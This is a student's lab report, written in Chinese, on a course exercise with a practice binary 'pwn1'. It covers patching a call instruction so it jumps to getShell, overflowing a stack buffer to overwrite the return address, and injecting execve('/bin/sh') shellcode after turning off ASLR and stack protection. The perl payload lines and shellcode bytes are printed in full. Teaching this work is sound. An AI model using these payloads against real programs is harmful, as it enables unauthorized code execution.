前言:实验中用到的知识

JE:条件转移指令,如果相等则跳转;

JNE:条件转移指令(等同于“Jump Not Equal”),如果不相等则跳转;

JMP:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出;

NOP:“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令;

CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

根据内容得出(在实验中我只保留了关键的三个部分,所以没放部分汇编指令的部分的截图)

JE 汇编指令的机器码是“”

objdump反汇编常用参数

objdump -d <file(s)> 将代码段反汇编

xxd命令

:%!xxd 回车后,该文件会以十六进制形式显示

:%!xxd -r  参数-r是指将当前的十六进制转换为二进制;

一:直接修改程序机器指令,改变程序执行流程

把老师给的pwn1放在了桌面并且重命名为20164325wxr,所以我需要  cd Desktop ;因为害怕会出错所以要备份 cp 20164325wxr  。

进行反汇编:使用命令  objdump -d | more

观察getshell,foo,main;

原理:main函数中的地址”80484b5“所对应的“call 8048491”这条指令是调用地址为”8048491“的foo函数,而对应指令为“e8 d7ffffff”;“e8”是跳转指令,如果按正常情况进行,会执行main函数的下一步,也就是“80484ba”地址的指令,所以按老师上课所讲内容,此时的EIP值就为“80484ba”。

在这里执行的是”call“指令,cpu就会转而执行 “EIP + d7ffffff”这个指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29就是8048491这个值。

所以只要修改d7ffffff为"getShell-80484ba"的补码,就能实现调用getShell,所以需要把d7ffffff变c3ffffff。

过程:
1. Vi  进行命令模式

2.  :%!xxd 将显示模式切换为十六进制

在底行模式输入/e8 d7定位需要修改的地方,中间加一个空格更好找。

3.选中修改为c3

输入 :%!xxd -r 将十六进制转换为原格式

使用 :wq 保存并退出

结果为:

4.  ./  得到shell提示符

二:通过构造输入参数,造成BOF攻击,改变程序执行流

原理:foo函数中存在漏洞,可以利用foo在读写字符串是的漏洞造成缓冲区溢出,达到调用shell的目的。覆盖原返回地址080484ba,覆盖的部分为getShell函数起始地址0804847d,在对其进行攻击。

过程:

1.我先备份一个文件名为201643251

2.使用gdb进行调试,运行可执行文件,输入:1111111122222222333333334444444455555555

输入 info r eip  查看eip寄存器的值,我记得与实验指导相同,是35353535确定是55555555部分覆盖了返回地址

(这里找eip寄存器的值的截图不见了)

3.进一步确定范围,同上输入1111111122222222333333334444444412345678

输入 info r eip  查看寄存器的值,因为得出的是34333231所以确定是1234部分覆盖了返回地址,并且是倒序

4.键盘不能直接输入十六进制,所以要先生成包括\x7d\x84\x04\x08的字符串文件

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a" ' > input

用 xxd input  十六进制显示文件

确认无误后,查看文件并通过管道将查看结果送入201643251中运行

三:注入Shellcode并执行

1. apt-get install execstack  先安装execstack

execstack -s   并设置堆栈可执行

execstack -q   查询是否可执行

more /proc/sys/kernel/randomize_va_space  查询是否关闭地址随机化,2为开启,0为关闭

echo " > /proc/sys/kernel/randomize_va_space  关闭地址随机化

2.注入shellcode

把输入的字串放入input_shellcode文件里

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

再输入 (cat input_shellcode;cat)| ./   注意只打一次空格

另外打开一个终端,输入 ps -ef | grep  来查看201643251的进程号

输入指令 attach  调试这个进程

使用指令 disassemble foo 设置断点

break *0x080484ae 在另外一个终端中按下回车。

通过  info r esp  查看esp寄存器,找到01020304,即返回地址,shellcode就在该地址之后,因此,如图,将\x4\x3\x2\x1置为\x60\xd3\xff\xff即可

四:实验总结

在这次实践中,通过三种方法改变了执行文件的执行流程,对应着三种不同的攻击思想;第一个是通过改地址来改变程序执行的流程,第二个是强行改变流程,第三个是注入shell代码攻击。

让我感受到了系统中存在很多漏洞,而什么是漏洞?漏洞有什么危害?我觉得漏洞就是存在的系统的缺点,就是能让外界有机可乘的缺点,开发者开发的时候会出现的一些想不到的地方,如果对这些地方进行攻击就会有相对的危害,而且我觉得漏洞是很常见的,有大漏洞也有小漏洞,但是只要是有漏洞的就是很致命的;关于漏洞的危害,漏洞出现就要及时的解决掉要不然就会发生很累恐怖的事情,比如黑客可以用过漏洞来监视你的生活,盗取你的文件;是你的系统瘫痪,对你进行勒索等等危害。

五:实验感想和收获

通过这次实验我真的学到了很多东西,本来在老师上课的时候讲的东西,对我来说还是一知半解,但是通过这次的实验,我对于这方面的知识就掌握的比较牢固了;这个实验我真的做了很长时间,不会的就会看实验指导和问同学,这个因为我的粗心所以重做了很多次,到最后一个攻击注入shellcode的时候在开启另外一个终端的时候,我按了两次回车,结果没有成功;我又做了了一遍才成功,这就说明做实验的时候一定要仔细,而且上课要好好听课,实验指导书步骤很清楚要仔细看!这次实验是第一次实验,我也是第一次接触博客,学到了实验外的很多应用,也有很多不足的地方,之后我会努力改进我的不足。

Exp1 PC平台逆向破解----20164325 王晓蕊的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

    2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...

  3. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  5. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  6. Exp1 PC平台逆向破解 20165235 祁瑛

    Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...

  7. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  8. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  9. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

随机推荐

  1. VS 提示对象被多次指定;已忽略多余的指定

    最近有一个工程编译老是出现这个问题,网上的解决方案说是工程目录下有同名的源文件,所以编译出了同名的obj.然而我检查了一下并没有.经尝试,把所有文件从项目中移除再重新添加进来就行了..应该是因为我反复 ...

  2. 20165315 2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解

    20165315 2018-2019-2 <网络对抗技术>Exp1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调 ...

  3. IDEA中,将项目加入maven管理。

    在项目上右键->Add Framework Support Choose Maven 生成pom.xml 在<project>下配置国内仓库 <properties>&l ...

  4. vue.js 进行初始化遇到的关于core-js的错误@core-js/modules/es6.array.find-index]

    D:\vuejselement\workSpace\zutnlp_platform_show>cnpm install --save core-js/modules/es6.array.find ...

  5. node.js的Promise库-bluebird示例

    前两天公司一哥们写了一段node.js代码发给我,后面特意提了一句“写的不太优雅”.我知道,他意思是回调嵌套回调,因为当时比较急也就没有再纠结.然而内心中总记得要解决这个问题.解决node.js的回调 ...

  6. 探索未知种族之osg类生物---状态树与渲染树以及节点树之间的关系

    节点树 首先我们来看一个场景构建的实例,并通过它来了解一下“状态节点”StateGraph 和“渲染叶”RenderLeaf 所构成的状态树,“渲染台”RenderStage 和“渲染元”Render ...

  7. Java 字符编码(三)Reader 中的编解码

    Java 字符编码(三)Reader 中的编解码 我们知道 BufferedReader 可以将字节流转化为字符流,那它是如何编解码的呢? try (BufferedReader reader = n ...

  8. VSCode 绿色版(zip压缩包) 添加右键菜单 使用VSCode 打开文件或文件夹

    微软官方下载VSCode 可以下载exe安装外还可以下载zip 压缩包 下载地址: https://code.visualstudio.com/Download 但是zip压缩包却没有了 右键使用VS ...

  9. squid代理加用户认证

    squid代理加用户认证 用authentication helpers添加身份验证 有如下几种认证方式 :=> NCSA: Uses an NCSA-style username and pa ...

  10. C#应用NPOI实现导出EXcel表格中插入饼状图(可实现动态数据生成)

    一.思路:   1.excel是可以通过NPOI插入图片的: 2.C#通过NPOI生成饼状图: 3.把生成的饼状图以字节流的形式插入到表格 二.看代码: #region 生成饼图图例 /// < ...